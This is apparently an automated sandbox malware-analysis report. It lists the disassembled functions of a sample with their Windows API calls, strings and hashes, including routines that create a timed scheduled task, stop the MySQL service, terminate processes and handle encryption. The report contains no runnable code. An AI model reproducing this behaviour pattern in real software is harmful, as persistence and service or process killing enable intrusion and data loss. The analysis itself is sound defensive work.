Opcode Fuzzy Hash: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Comment, xrefs: 0040DBFF
--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 2e74f348d978aa6d86d7a4bcf4ad75af8e5eec8b3156eaf57847e3efada330f4
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 2e74f348d978aa6d86d7a4bcf4ad75af8e5eec8b3156eaf57847e3efada330f4
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: dcb110ff77d0d6de05b3b947bf2ef47405a6d6b42127cdc483a5ab3eba0e5bdc
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: dcb110ff77d0d6de05b3b947bf2ef47405a6d6b42127cdc483a5ab3eba0e5bdc
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 3dd751b55826294964085055a71ea3811957cd0e16fa9190f0f9ac0a9f57f753
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 3dd751b55826294964085055a71ea3811957cd0e16fa9190f0f9ac0a9f57f753
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
DEK-Info: , xrefs: 00463422
ENCRYPTED, xrefs: 004633BC
Proc-Type: , xrefs: 0046337C

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
+, xrefs: 00457475
, xrefs: 00457482
0123456789ABCDEF, xrefs: 004574D6
0123456789abcdef, xrefs: 004574C4

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

func(%lu), xrefs: 00450734
reason(%lu), xrefs: 00450758
lib(%lu), xrefs: 0045071C
error:%08lX:%s:%s:%s, xrefs: 00450792

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(00000001,00000000,0042520D,00420CE9,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463097
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
phrase is too short, needs to be at least %d chars, xrefs: 00463070

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006F0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
